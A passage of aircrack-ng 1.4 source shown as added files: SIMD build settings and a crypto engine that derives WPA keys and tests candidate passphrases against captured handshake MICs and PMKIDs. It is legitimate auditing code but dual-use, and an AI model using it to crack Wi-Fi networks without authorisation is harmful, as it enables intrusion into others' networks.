+#elif defined(__GNUC__) && GCC_VERSION < 40500	// 4.5.0
+#define SIMD_PARA_MD4			3
+#elif defined(__GNUC__) && (GCC_VERSION < 40600 || defined(__XOP__)) // 4.6.0
+#define SIMD_PARA_MD4			2
+#else
+#define SIMD_PARA_MD4			3
+#endif
+#endif
+
+#ifndef SIMD_PARA_MD5
+#if defined(__INTEL_COMPILER)
+#define SIMD_PARA_MD5			3
+#elif defined(__clang__)
+#define SIMD_PARA_MD5			5
+#elif defined(__llvm__)
+#define SIMD_PARA_MD5			3
+#elif defined(__GNUC__) && GCC_VERSION == 30406	// 3.4.6
+#define SIMD_PARA_MD5			3
+#elif defined(__GNUC__) && GCC_VERSION < 40405	// 4.4.5
+#define SIMD_PARA_MD5			1
+#elif defined(__GNUC__) && GCC_VERSION < 40500	// 4.5.0
+#define SIMD_PARA_MD5			3
+#elif defined(__GNUC__) && (GCC_VERSION < 40600 || defined(__XOP__)) // 4.6.0
+#define SIMD_PARA_MD5			2
+#else
+#define SIMD_PARA_MD5			3
+#endif
+#endif
+*/
+#ifndef SIMD_PARA_SHA1
+#if defined(__INTEL_COMPILER)
+#define SIMD_PARA_SHA1 1
+#elif defined(__clang__)
+#define SIMD_PARA_SHA1 1
+#elif defined(__llvm__)
+#define SIMD_PARA_SHA1 1
+#elif defined(__GNUC__) && GCC_VERSION < 40504 // 4.5.4
+#define SIMD_PARA_SHA1 1
+#elif !defined(__AVX__) && defined(__GNUC__) && GCC_VERSION > 40700 // 4.7.0
+#define SIMD_PARA_SHA1 1
+#else
+#define SIMD_PARA_SHA1 1
+#endif
+#endif
+
+#ifndef SIMD_PARA_SHA256
+#if __XOP__
+#define SIMD_PARA_SHA256 2
+#else
+#define SIMD_PARA_SHA256 1
+#endif
+#endif
+#ifndef SIMD_PARA_SHA512
+#define SIMD_PARA_SHA512 1
+#endif
+
+#ifndef SHA1_SSE_PARA
+#if defined(__INTEL_COMPILER) || defined(USING_ICC_S_FILE)
+#define SHA1_SSE_PARA 1
+//#define SHA1_N_STR		      "4x"
+#elif defined(__clang__)
+#define SHA1_SSE_PARA 2
+//#define SHA1_N_STR		      "8x"
+#elif defined(__llvm__)
+#define SHA_BUF_SIZ 80
+#define SHA1_SSE_PARA 2
+//#define SHA1_N_STR		      "8x"
+#elif defined(__GNUC__) && GCC_VERSION < 40504 // 4.5.4
+#define SHA1_SSE_PARA 1
+//#define SHA1_N_STR		      "4x"
+#elif !defined(JOHN_AVX) && defined(__GNUC__) && GCC_VERSION > 40700 // 4.7.0
+#define SHA1_SSE_PARA 1
+//#define SHA1_N_STR		      "4x"
+#else
+#define SHA1_SSE_PARA 2
+//#define SHA1_N_STR			"8x"
+#endif
+#endif
+
+#define STR_VALUE(arg) #arg
+#define PARA_TO_N(n) STR_VALUE(n) "x"
+#define PARA_TO_MxN(m, n) STR_VALUE(m) "x" STR_VALUE(n)
+
+#if SIMD_PARA_MD4 > 1
+#define MD4_N_STR PARA_TO_MxN(SIMD_COEF_32, SIMD_PARA_MD4)
+#else
+#define MD4_N_STR PARA_TO_N(SIMD_COEF_32)
+#endif
+#if SIMD_PARA_MD5 > 1
+#define MD5_N_STR PARA_TO_MxN(SIMD_COEF_32, SIMD_PARA_MD5)
+#else
+#define MD5_N_STR PARA_TO_N(SIMD_COEF_32)
+#endif
+#if SIMD_PARA_SHA1 > 1
+#define SHA1_N_STR PARA_TO_MxN(SIMD_COEF_32, SIMD_PARA_SHA1)
+#else
+#define SHA1_N_STR PARA_TO_N(SIMD_COEF_32)
+#endif
+#if SIMD_PARA_SHA256 > 1
+#define SHA256_N_STR PARA_TO_MxN(SIMD_COEF_32, SIMD_PARA_SHA256)
+#else
+#define SHA256_N_STR PARA_TO_N(SIMD_COEF_32)
+#endif
+#if SIMD_PARA_SHA512 > 1
+#define SHA512_N_STR PARA_TO_MxN(SIMD_COEF_64, SIMD_PARA_SHA512)
+#else
+#define SHA512_N_STR PARA_TO_N(SIMD_COEF_64)
+#endif
+
+#define SHA_BUF_SIZ 16
+
+#define NT_X86_64
+
+#ifndef SIMD_CORE
+#define MMX_TYPE " SSE2"
+#define MMX_COEF 4
+#define MMX_COEF_SHA256 4
+#define MMX_COEF_SHA512 2
+#endif
+
+#endif /* __SSE2__ */
+
+#define BF_ASM 0
+#define BF_SCALE 1
+
+/*
+ * 3x (as opposed to 2x) interleaving provides substantial speedup on Core 2
+ * CPUs, as well as slight speedup on some other CPUs.  Unfortunately, it
+ * results in lower cumulative performance with multiple concurrent threads or
+ * processes on some newer SMT-capable CPUs.  While this has nothing to do with
+ * AVX per se, building for AVX implies we do not intend to run on a Core 2
+ * (which has at most SSE4.1), so checking for AVX here provides an easy way to
+ * avoid this performance regression in AVX-enabled builds.  In multi-binary
+ * packages with runtime fallbacks, the AVX-enabled binary would invoke a
+ * non-AVX fallback binary from its john.c if run e.g. on a Core 2.  We could
+ * check for SSE4.2 rather than AVX here, as SSE4.2 was introduced along with
+ * SMT-capable Nehalem microarchitecture CPUs, but apparently those CPUs did
+ * not yet exhibit the performance regression with 3x interleaving.  Besides,
+ * some newer CPUs capable of SSE4.2 but not AVX happen to lack SMT, so will
+ * likely benefit from the 3x interleaving with no adverse effects for the
+ * multi-threaded case.
+ *
+ * In Jumbo, we may get BF_X2 from autoconf (after testing ht cpuid flag).
+ */
+#ifndef BF_X2
+#if __AVX__ && HAVE_HT && _OPENMP
+#define BF_X2 1
+#else
+#define BF_X2 3
+#endif
+#endif
+
+#endif

aircrack-ng-1.4.tar.gz/src/aircrack-crypto/crypto_engine.c Added

@@ -0,0 +1,638 @@
+/*
+ * Copyright (C) 2018 Joseph Benden <joe@benden.us>
+ *
+ * This program is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU General Public License as
+ * published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful, but
+ * is provided AS IS, WITHOUT ANY WARRANTY; without even the implied
+ * warranty of MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, and
+ * NON-INFRINGEMENT.  See the GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston,
+ * MA 02110-1301, USA.
+ *
+ * In addition, as a special exception, the copyright holders give
+ * permission to link the code of portions of this program with the
+ * OpenSSL library under certain conditions as described in each
+ * individual source file, and distribute linked combinations
+ * including the two.
+ * You must obey the GNU General Public License in all respects
+ * for all of the code used other than OpenSSL.  If you modify
+ * file(s) with this exception, you may extend this exception to your
+ * version of the file(s), but you are not obligated to do so.  If you
+ * do not wish to do so, delete this exception statement from your
+ * version.  If you delete this exception statement from all source
+ * files in the program, then also delete it here.
+ */
+
+#define _GNU_SOURCE
+#include <string.h>
+#include <stdint.h>
+#include "simd-intrinsics.h"
+#include "wpapsk.h"
+#ifdef USE_GCRYPT
+#include "gcrypt-openssl-wrapper.h"
+#include "sha1-git.h"
+#else
+#include <openssl/hmac.h>
+#include <openssl/sha.h>
+// We don't use EVP. Bite me
+#include <openssl/rc4.h>
+#include <openssl/aes.h>
+#if HAVE_OPENSSL_CMAC_H
+#include <openssl/cmac.h>
+#endif
+#endif
+
+#include "aircrack-util/trampoline.h"
+
+#include "crypto_engine.h"
+
+// #define XDEBUG
+
+#if defined(HAVE_OPENSSL_CMAC_H) || defined(GCRYPT_WITH_CMAC_AES)
+
+/* Code borrowed from https://w1.fi/wpa_supplicant/ starts */
+
+#define CMAC_AES_128_MAC_LEN 16
+#define SHA256_MAC_LEN 32
+typedef uint16_t u16;
+typedef uint8_t u8;
+
+static inline void WPA_PUT_LE16(u8 * a, u16 val)
+{
+	a[1] = (u8)(val >> 8u);
+	a[0] = (u8)(val & 0xff);
+}
+
+static void
+sha256_vector(size_t num_elem, const u8 * addr[], const size_t * len, u8 * mac)
+{
+	SHA256_CTX ctx;
+	size_t i;
+
+	SHA256_Init(&ctx);
+	for (i = 0; i < num_elem; i++)
+	{
+		SHA256_Update(&ctx, addr[i], len[i]);
+	}
+
+	SHA256_Final(mac, &ctx);
+}
+
+static void hmac_sha256_vector(const u8 * key,
+							   size_t key_len,
+							   size_t num_elem,
+							   const u8 * addr[],
+							   const size_t * len,
+							   u8 * mac)
+{
+	unsigned char k_pad[64]; /* padding - key XORd with ipad/opad */
+	const u8 * _addr[6];
+	size_t _len[6], i;
+
+	/* the HMAC_SHA256 transform looks like:
+	 *
+	 * SHA256(K XOR opad, SHA256(K XOR ipad, text))
+	 *
+	 * where K is an n byte key
+	 * ipad is the byte 0x36 repeated 64 times
+	 * opad is the byte 0x5c repeated 64 times
+	 * and text is the data being protected */
+
+	/* start out by storing key in ipad */
+	memset(k_pad, 0, sizeof(k_pad));
+	memcpy(k_pad, key, key_len);
+	/* XOR key with ipad values */
+	for (i = 0; i < 64; i++) k_pad[i] ^= 0x36;
+
+	/* perform inner SHA256 */
+	_addr[0] = k_pad;
+	_len[0] = 64;
+	for (i = 0; i < num_elem; i++)
+	{
+		_addr[i + 1] = addr[i];
+		_len[i + 1] = len[i];
+	}
+	sha256_vector(1 + num_elem, _addr, _len, mac);
+
+	memset(k_pad, 0, sizeof(k_pad));
+	memcpy(k_pad, key, key_len);
+	/* XOR key with opad values */
+	for (i = 0; i < 64; i++) k_pad[i] ^= 0x5c;
+
+	/* perform outer SHA256 */
+	_addr[0] = k_pad;
+	_len[0] = 64;
+	_addr[1] = mac;
+	_len[1] = SHA256_MAC_LEN;
+	sha256_vector(2, _addr, _len, mac);
+}
+
+static void sha256_prf_bits(const u8 * key,
+							size_t key_len,
+							const char * label,
+							const u8 * data,
+							size_t data_len,
+							u8 * buf,
+							size_t buf_len_bits)
+{
+	u16 counter = 1;
+	size_t pos, plen;
+	u8 hash[SHA256_MAC_LEN];
+	const u8 * addr[4];
+	size_t len[4];
+	u8 counter_le[2], length_le[2];
+	size_t buf_len = (buf_len_bits + 7) / 8;
+
+	addr[0] = counter_le;
+	len[0] = 2;
+	addr[1] = (u8 *) label;
+	len[1] = strlen(label);
+	addr[2] = data;
+	len[2] = data_len;
+	addr[3] = length_le;
+	len[3] = sizeof(length_le);
+
+	WPA_PUT_LE16(length_le, (u16) buf_len_bits);
+	pos = 0;
+
+	while (pos < buf_len)
+	{
+		plen = buf_len - pos;
+		WPA_PUT_LE16(counter_le, counter);
+		if (plen >= SHA256_MAC_LEN)
+		{
+			hmac_sha256_vector(key, key_len, 4, addr, len, &buf[pos]);
+			pos += SHA256_MAC_LEN;
+		}
+		else
+		{
+			hmac_sha256_vector(key, key_len, 4, addr, len, hash);
+			memcpy(&buf[pos], hash, plen);
+			pos += plen;
+			break;
+		}
+		counter++;
+	}
+
+	/*
+	 * Mask out unused bits in the last octet if it does not use all the
+	 * bits.
+	 */
+	if (buf_len_bits % 8)
+	{
+		u8 mask = (u8)(0xff << (8u - buf_len_bits % 8));
+		buf[pos - 1] &= mask;
+	}
+}
+#endif /* HAVE_OPENSSL_CMAC_H || GCRYPT_WITH_CMAC_AES */
+
+EXPORT int ac_crypto_engine_supported_features(void)
+{
+#if defined(JOHN_AVX512F)
+	return SIMD_SUPPORTS_AVX512F;
+#elif defined(JOHN_AVX2)
+	return SIMD_SUPPORTS_AVX2;
+#elif defined(JOHN_AVX)
+	return SIMD_SUPPORTS_AVX;
+#elif defined(JOHN_SSE2)
+	return SIMD_SUPPORTS_SSE2;
+#elif defined(JOHN_NEON)
+	return SIMD_SUPPORTS_NEON;
+#elif defined(JOHN_ASIMD)
+	return SIMD_SUPPORTS_ASIMD;
+#elif defined(JOHN_POWER8)
+	return SIMD_SUPPORTS_POWER8;
+#elif defined(JOHN_ALTIVEC)
+	return SIMD_SUPPORTS_ALTIVEC;
+#else
+	return SIMD_SUPPORTS_NONE;
+#endif
+}
+
+EXPORT int ac_crypto_engine_simd_width()
+{
+#ifdef SIMD_COEF_32
+	return SIMD_COEF_32;
+#else
+	return 1;
+#endif
+}
+
+EXPORT int ac_crypto_engine_init(ac_crypto_engine_t * engine)
+{
+	assert(engine != NULL);
+#ifdef XDEBUG
+	fprintf(stderr, "ac_crypto_engine_init(%p)\n", engine);
+#endif
+
+	init_atoi();
+
+	engine->essid = mem_calloc_align(1, ESSID_LENGTH + 1, MEM_ALIGN_SIMD);
+
+	engine->essid_length = 0;
+
+	for (int i = 0; i < MAX_THREADS; ++i) engine->thread_data[i] = NULL;
+
+	return 0;
+}
+
+EXPORT void ac_crypto_engine_destroy(ac_crypto_engine_t * engine)
+{
+	assert(engine != NULL);
+#ifdef XDEBUG
+	fprintf(stderr, "ac_crypto_engine_destroy(%p)\n", engine);
+#endif
+
+	MEM_FREE(engine->essid);
+	engine->essid = NULL;
+}
+
+EXPORT void ac_crypto_engine_set_essid(ac_crypto_engine_t * engine,
+									   const uint8_t * essid)
+{
+	assert(engine != NULL);
+#ifdef XDEBUG
+	fprintf(stderr, "ac_crypto_engine_set_essid(%p, %s)\n", engine, essid);
+#endif
+	memccpy(engine->essid, essid, 0, ESSID_LENGTH);
+	engine->essid_length = (uint32_t) strlen((char *) essid);
+}
+
+EXPORT int ac_crypto_engine_thread_init(ac_crypto_engine_t * engine,
+										int threadid)
+{
+	assert(engine != NULL);
+#ifdef XDEBUG
+	fprintf(stderr, "ac_crypto_engine_thread_init(%p, %d)\n", engine, threadid);
+#endif
+
+	// allocate per-thread data.
+	engine->thread_data[threadid] = mem_calloc_align(
+		1, sizeof(struct ac_crypto_engine_perthread), MEM_ALIGN_SIMD);
+
+	return 0;
+}
+
+EXPORT void ac_crypto_engine_thread_destroy(ac_crypto_engine_t * engine,
+											int threadid)
+{
+	assert(engine != NULL);
+#ifdef XDEBUG
+	fprintf(
+		stderr, "ac_crypto_engine_thread_destroy(%p, %d)\n", engine, threadid);
+#endif
+
+	if (engine->thread_data[threadid] != NULL)
+	{
+		MEM_FREE(engine->thread_data[threadid]);
+		engine->thread_data[threadid] = NULL;
+	}
+}
+
+EXPORT uint8_t *
+ac_crypto_engine_get_pmk(ac_crypto_engine_t * engine, int threadid, int index)
+{
+	return (uint8_t *) engine->thread_data[threadid]->pmk
+		   + (sizeof(wpapsk_hash) * index);
+}
+
+EXPORT uint8_t *
+ac_crypto_engine_get_ptk(ac_crypto_engine_t * engine, int threadid, int index)
+{
+	return (uint8_t *) engine->thread_data[threadid]->ptk + (20 * index);
+}
+
+EXPORT void ac_crypto_engine_calc_pke(ac_crypto_engine_t * engine,
+									  const uint8_t bssid[6],
+									  const uint8_t stmac[6],
+									  const uint8_t anonce[32],
+									  const uint8_t snonce[32],
+									  int threadid)
+{
+	uint8_t * pke = engine->thread_data[threadid]->pke;
+
+	assert(pke != NULL);
+
+	/* pre-compute the key expansion buffer */
+	memcpy(pke, "Pairwise key expansion", 23);
+	if (memcmp(stmac, bssid, 6) < 0)
+	{
+		memcpy(pke + 23, stmac, 6);
+		memcpy(pke + 29, bssid, 6);
+	}
+	else
+	{
+		memcpy(pke + 23, bssid, 6);
+		memcpy(pke + 29, stmac, 6);
+	}
+	if (memcmp(snonce, anonce, 32) < 0)
+	{
+		memcpy(pke + 35, snonce, 32);
+		memcpy(pke + 67, anonce, 32);
+	}
+	else
+	{
+		memcpy(pke + 35, anonce, 32);
+		memcpy(pke + 67, snonce, 32);
+	}
+}
+
+/* derive the PMK from the passphrase and the essid */
+EXPORT void ac_crypto_engine_calc_one_pmk(const uint8_t * key,
+										  const uint8_t * essid_pre,
+										  uint32_t essid_pre_len,
+										  uint8_t pmk[40])
+{
+	int i, j, slen;
+	unsigned char buffer[65];
+	char essid[33 + 4];
+	SHA_CTX ctx_ipad;
+	SHA_CTX ctx_opad;
+	SHA_CTX sha1_ctx;
+
+	assert(essid_pre != NULL);
+
+	if (essid_pre_len > 32)
+	{
+		essid_pre_len = 32;
+	}
+
+	memset(essid, 0, sizeof(essid));
+	memcpy(essid, essid_pre, essid_pre_len);
+	slen = (int) essid_pre_len + 4;
+
+	/* setup the inner and outer contexts */
+
+	memset(buffer, 0, sizeof(buffer));
+	strncpy((char *) buffer, (char *) key, sizeof(buffer) - 1);
+
+	for (i = 0; i < 64; i++) buffer[i] ^= 0x36;
+
+	SHA1_Init(&ctx_ipad);
+	SHA1_Update(&ctx_ipad, buffer, 64);
+
+	for (i = 0; i < 64; i++) buffer[i] ^= 0x6A;
+
+	SHA1_Init(&ctx_opad);
+	SHA1_Update(&ctx_opad, buffer, 64);
+
+	/* iterate HMAC-SHA1 over itself 8192 times */
+
+	essid[slen - 1] = '\1';
+	HMAC(EVP_sha1(),
+		 key,
+		 (int) strlen((char *) key),
+		 (unsigned char *) essid,
+		 (size_t) slen,
+		 pmk,
+		 NULL);
+	memcpy(buffer, pmk, 20);
+
+	for (i = 1; i < 4096; i++)
+	{
+		memcpy(&sha1_ctx, &ctx_ipad, sizeof(sha1_ctx));
+		SHA1_Update(&sha1_ctx, buffer, 20);
+		SHA1_Final(buffer, &sha1_ctx);
+
+		memcpy(&sha1_ctx, &ctx_opad, sizeof(sha1_ctx));
+		SHA1_Update(&sha1_ctx, buffer, 20);
+		SHA1_Final(buffer, &sha1_ctx);
+
+		for (j = 0; j < 20; j++) pmk[j] ^= buffer[j];
+	}
+
+	essid[slen - 1] = '\2';
+	HMAC(EVP_sha1(),
+		 (unsigned char *) key,
+		 (int) strlen((char *) key),
+		 (unsigned char *) essid,
+		 (size_t) slen,
+		 pmk + 20,
+		 NULL);
+	memcpy(buffer, pmk + 20, 20);
+
+	for (i = 1; i < 4096; i++)
+	{
+		memcpy(&sha1_ctx, &ctx_ipad, sizeof(sha1_ctx));
+		SHA1_Update(&sha1_ctx, buffer, 20);
+		SHA1_Final(buffer, &sha1_ctx);
+
+		memcpy(&sha1_ctx, &ctx_opad, sizeof(sha1_ctx));
+		SHA1_Update(&sha1_ctx, buffer, 20);
+		SHA1_Final(buffer, &sha1_ctx);
+
+		for (j = 0; j < 20; j++) pmk[j + 20] ^= buffer[j];
+	}
+}
+
+EXPORT void ac_crypto_engine_calc_pmk(
+	ac_crypto_engine_t * engine,
+	const wpapsk_password key[MAX_KEYS_PER_CRYPT_SUPPORTED],
+	const int nparallel,
+	const int threadid)
+{
+	wpapsk_hash * pmk = engine->thread_data[threadid]->pmk;
+
+// PMK calculation
+#ifdef SIMD_CORE
+	if (nparallel >= 4)
+	{
+		init_wpapsk(engine, key, nparallel, threadid);
+	}
+	else
+#endif
+		for (int j = 0; j < nparallel; ++j)
+		{
+#ifdef XDEBUG
+			printf("%lu: Trying: %s\n", pthread_self(), (char *) key[j].v);
+#endif
+			ac_crypto_engine_calc_one_pmk(key[j].v,
+										  (uint8_t *) engine->essid,
+										  engine->essid_length,
+										  (uint8_t *) (&pmk[j]));
+		}
+}
+
+EXPORT void ac_crypto_engine_calc_ptk(ac_crypto_engine_t * engine,
+									  const uint8_t keyver,
+									  int vectorIdx,
+									  int threadid)
+{
+	uint8_t * ptk = engine->thread_data[threadid]->ptk;
+	wpapsk_hash * pmk = engine->thread_data[threadid]->pmk;
+
+	if (keyver < 3)
+	{
+		for (int i = 0; i < 4; i++)
+		{
+			*(engine->thread_data[threadid]->pke + 99) = (unsigned char) i;
+
+			HMAC(EVP_sha1(),
+				 (&pmk[vectorIdx]),
+				 32,
+				 engine->thread_data[threadid]->pke,
+				 100,
+				 &ptk[vectorIdx] + i * 20,
+				 NULL);
+		}
+	}
+#if defined(HAVE_OPENSSL_CMAC_H) || defined(GCRYPT_WITH_CMAC_AES)
+	else
+	{
+		uint8_t data[64 + 12];
+
+		uint8_t * pke = &engine->thread_data[threadid]->pke[23];
+
+		memset(data, 0, sizeof(data));
+		memcpy(data, pke, 6);
+		memcpy(data + 6, pke + 6, 6);
+		memcpy(data + 12, pke + 35 - 23, 64);
+
+		sha256_prf_bits((unsigned char *) (pmk[vectorIdx].v),
+						32,
+						"Pairwise key expansion",
+						data,
+						76,
+						ptk,
+						48 * 8);
+	}
+#endif
+}
+
+EXPORT void ac_crypto_engine_calc_mic(ac_crypto_engine_t * engine,
+									  const uint8_t eapol[256],
+									  const uint32_t eapol_size,
+									  uint8_t mic[MAX_KEYS_PER_CRYPT_SUPPORTED]
+												 [20],
+									  const uint8_t keyver,
+									  const int vectorIdx,
+									  const int threadid)
+{
+	uint8_t * ptk = engine->thread_data[threadid]->ptk;
+
+	if (keyver == 1)
+		HMAC(EVP_md5(),
+			 &ptk[vectorIdx],
+			 16,
+			 eapol,
+			 eapol_size,
+			 mic[vectorIdx],
+			 NULL);
+	else if (keyver == 2)
+		HMAC(EVP_sha1(),
+			 &ptk[vectorIdx],
+			 16,
+			 eapol,
+			 eapol_size,
+			 mic[vectorIdx],
+			 NULL);
+#if defined(HAVE_OPENSSL_CMAC_H) || defined(GCRYPT_WITH_CMAC_AES)
+	else if (keyver == 3)
+	{
+		size_t miclen = CMAC_AES_128_MAC_LEN;
+		CMAC_CTX * ctx = NULL;
+
+		// Compute MIC
+		ctx = CMAC_CTX_new();
+		CMAC_Init(ctx, ptk, 16, EVP_aes_128_cbc(), 0);
+		CMAC_Update(ctx, eapol, eapol_size);
+		CMAC_Final(ctx, mic[vectorIdx], &miclen);
+		CMAC_CTX_free(ctx);
+	}
+#else
+	else if (keyver == 3)
+	{
+		fprintf(stderr,
+				"Key version %d is only supported when OpenSSL (or similar) "
+				"supports CMAC.\n",
+				keyver);
+		abort();
+	}
+#endif /* HAVE_OPENSSL_CMAC_H */
+	else
+	{
+		fprintf(stderr, "Unsupported key version %d encountered.\n", keyver);
+		abort();
+	}
+}
+
+EXPORT int ac_crypto_engine_wpa_crack(
+	ac_crypto_engine_t * engine,
+	const wpapsk_password key[MAX_KEYS_PER_CRYPT_SUPPORTED],
+	const uint8_t eapol[256],
+	const uint32_t eapol_size,
+	uint8_t mic[MAX_KEYS_PER_CRYPT_SUPPORTED][20],
+	const uint8_t keyver,
+	const uint8_t cmpmic[20],
+	const int nparallel,
+	const int threadid)
+{
+	ac_crypto_engine_calc_pmk(engine, key, nparallel, threadid);
+
+	for (int j = 0; j < nparallel; ++j)
+	{
+		/* compute the pairwise transient key and the frame MIC */
+
+		ac_crypto_engine_calc_ptk(engine, keyver, j, threadid);
+
+		ac_crypto_engine_calc_mic(
+			engine, eapol, eapol_size, mic, keyver, j, threadid);
+
+		/* did we successfully crack it? */
+		if (memcmp(mic[j], cmpmic, 16) == 0)
+		{
+			return j;
+		}
+	}
+
+	return -1;
+}
+
+EXPORT void ac_crypto_engine_set_pmkid_salt(ac_crypto_engine_t * engine,
+											const uint8_t bssid[6],
+											const uint8_t stmac[6],
+											int threadid)
+{
+	uint8_t * pke = engine->thread_data[threadid]->pke;
+
+	assert(pke != NULL);
+
+	/* pre-compute the PMKID salt buffer */
+	memcpy(pke, "PMK Name", 8);
+	memcpy(pke + 8, bssid, 6);
+	memcpy(pke + 14, stmac, 6);
+}
+
+EXPORT int ac_crypto_engine_wpa_pmkid_crack(
+	ac_crypto_engine_t * engine,
+	const wpapsk_password key[MAX_KEYS_PER_CRYPT_SUPPORTED],
+	const uint8_t pmkid[32],
+	const int nparallel,
+	const int threadid)
+{
+	ac_crypto_engine_calc_pmk(engine, key, nparallel, threadid);
+
+	uint8_t * pke = engine->thread_data[threadid]->pke;
+	wpapsk_hash * pmk = engine->thread_data[threadid]->pmk;
+	uint8_t l_pmkid[32];
+
+	for (int j = 0; j < nparallel; ++j)
+	{
+		HMAC(EVP_sha1(), &pmk[j], 32, pke, 20, l_pmkid, NULL);
+
+		/* did we successfully crack it? */
+		if (memcmp(l_pmkid, pmkid, 16) == 0)
+		{
+			return j;
+		}
+	}
+
+	return -1;
+}
\ No newline at end of file

aircrack-ng-1.4.tar.gz/src/aircrack-crypto/crypto_engine.h Added

@@ -0,0 +1,286 @@
+/*
+ * Copyright (C) 2018 Joseph Benden <joe@benden.us>
+ *
+ * This program is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU General Public License as
+ * published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful, but
+ * is provided AS IS, WITHOUT ANY WARRANTY; without even the implied
+ * warranty of MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, and
+ * NON-INFRINGEMENT.  See the GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston,
+ * MA 02110-1301, USA.
+ *
+ * In addition, as a special exception, the copyright holders give
+ * permission to link the code of portions of this program with the
+ * OpenSSL library under certain conditions as described in each
+ * individual source file, and distribute linked combinations
+ * including the two.
+ * You must obey the GNU General Public License in all respects
+ * for all of the code used other than OpenSSL.  If you modify
+ * file(s) with this exception, you may extend this exception to your
+ * version of the file(s), but you are not obligated to do so.  If you
+ * do not wish to do so, delete this exception statement from your
+ * version.  If you delete this exception statement from all source
+ * files in the program, then also delete it here.
+ */
+
+#ifndef AIRCRACK_NG_CRYPTO_ENGINE_H
+#define AIRCRACK_NG_CRYPTO_ENGINE_H
+
+#include <string.h>
+#include <stdint.h>
+#include <stddef.h>
+
+#define MAX_THREADS 256
+
+#if defined(_MSC_VER)
+//  Microsoft
+#define EXPORT __declspec(dllexport)
+#define IMPORT __declspec(dllimport)
+#elif defined(__GNUC__) || defined(__llvm__) || defined(__clang__)             \
+	|| defined(__INTEL_COMPILER)
+#define EXPORT __attribute__((visibility("default")))
+#define IMPORT
+#else
+//  do nothing and hope for the best?
+#define EXPORT
+#define IMPORT
+#pragma warning Unknown dynamic link import / export semantics.
+#endif
+
+#define STATIC_ASSERT(COND, MSG)                                               \
+	typedef char static_assertion_##MSG[(!!(COND)) * 2 - 1]
+// token pasting madness:
+#define COMPILE_TIME_ASSERT3(X, L)                                             \
+	STATIC_ASSERT(X, static_assertion_at_line_##L)
+#define COMPILE_TIME_ASSERT2(X, L) COMPILE_TIME_ASSERT3(X, L)
+#define COMPILE_TIME_ASSERT(X) COMPILE_TIME_ASSERT2(X, __LINE__)
+
+#if defined(__GNUC__) || defined(__llvm__) || defined(__clang__)               \
+	|| defined(__INTEL_COMPILER)
+#define likely(x) __builtin_expect(!!(x), 1)
+#define unlikely(x) __builtin_expect(!!(x), 0)
+#else
+#define likely(x) (x)
+#define unlikely(x) (x)
+#endif
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+#define ESSID_LENGTH 32 /* The spec. says 32 maximum. */
+#define PLAINTEXT_LENGTH 63 /* We can do 64 but spec. says 63 */
+
+#define MIN_KEYS_PER_CRYPT 1
+#if defined(JOHN_AVX512F)
+#define MAX_KEYS_PER_CRYPT 16
+#elif defined(JOHN_AVX2)
+#define MAX_KEYS_PER_CRYPT 8
+#else
+#define MAX_KEYS_PER_CRYPT 4
+#endif
+
+#if defined(AVX512F_FOUND)
+#if defined(__INTEL_COMPILER)
+#define MAX_KEYS_PER_CRYPT_SUPPORTED 32
+#else
+#define MAX_KEYS_PER_CRYPT_SUPPORTED 16
+#endif
+#else
+#if defined(__INTEL_COMPILER)
+#define MAX_KEYS_PER_CRYPT_SUPPORTED 16
+#else
+#define MAX_KEYS_PER_CRYPT_SUPPORTED 8
+#endif
+#endif
+
+typedef struct
+{
+	uint8_t v[PLAINTEXT_LENGTH + 1];
+	uint32_t length;
+} wpapsk_password;
+
+typedef struct
+{
+	union {
+		uint32_t v[8];
+		uint8_t c[32];
+	};
+} wpapsk_hash;
+
+#ifndef CACHELINE_SIZE
+#define CACHELINE_SIZE 64 // CPU L1 cache-line size, in bytes.
+#endif
+
+#define CACHELINE_PADDED_FIELD(T, name, length, cacheline_size)                \
+	T name[(length)];                                                          \
+	uint8_t name##_padding[(cacheline_size)                                    \
+						   - ((length * sizeof(T)) % (cacheline_size))]
+
+#pragma pack(push, 1)
+/// Per-thread data needed by the crypto cracking engine.
+struct ac_crypto_engine_perthread
+{
+	/// Holds the pair-wise master key.
+	CACHELINE_PADDED_FIELD(wpapsk_hash,
+						   pmk,
+						   MAX_KEYS_PER_CRYPT_SUPPORTED,
+						   CACHELINE_SIZE);
+
+	/// Holds a 64-byte buffer for HMAC SHA1 ipad/opad, plus an extra 20-byte
+	/// buffer for a SHA1 digest.
+	CACHELINE_PADDED_FIELD(uint8_t,
+						   hash1,
+						   (64 + 20) * MAX_KEYS_PER_CRYPT_SUPPORTED,
+						   CACHELINE_SIZE);
+
+	/// Holds a 20-byte buffer for a SHA1 digest. Half cache-line size is to
+	/// compact with the next.
+	CACHELINE_PADDED_FIELD(uint8_t,
+						   crypt1,
+						   20 * MAX_KEYS_PER_CRYPT_SUPPORTED,
+						   CACHELINE_SIZE / 2);
+
+	/// Holds a 20-byte buffer for a SHA1 digest. Half cache-line size is to
+	/// compact with the previous.
+	CACHELINE_PADDED_FIELD(uint8_t,
+						   crypt2,
+						   20 * MAX_KEYS_PER_CRYPT_SUPPORTED,
+						   CACHELINE_SIZE / 2);
+
+	/// Holds a 20-byte buffer for a SHA1 digest. Double cache-line size is to
+	/// space the next field futher out.
+	CACHELINE_PADDED_FIELD(uint8_t,
+						   ptk,
+						   20 * MAX_KEYS_PER_CRYPT_SUPPORTED,
+						   CACHELINE_SIZE * 2);
+
+	/// Holds a 100-byte buffer for pair-wise key expansion.
+	CACHELINE_PADDED_FIELD(uint8_t,
+						   pke,
+						   100 * MAX_KEYS_PER_CRYPT_SUPPORTED,
+						   CACHELINE_SIZE);
+};
+#pragma pack(pop)
+COMPILE_TIME_ASSERT((offsetof(struct ac_crypto_engine_perthread, pmk)) == 0);
+COMPILE_TIME_ASSERT((offsetof(struct ac_crypto_engine_perthread, hash1)
+					 % CACHELINE_SIZE)
+					== 0);
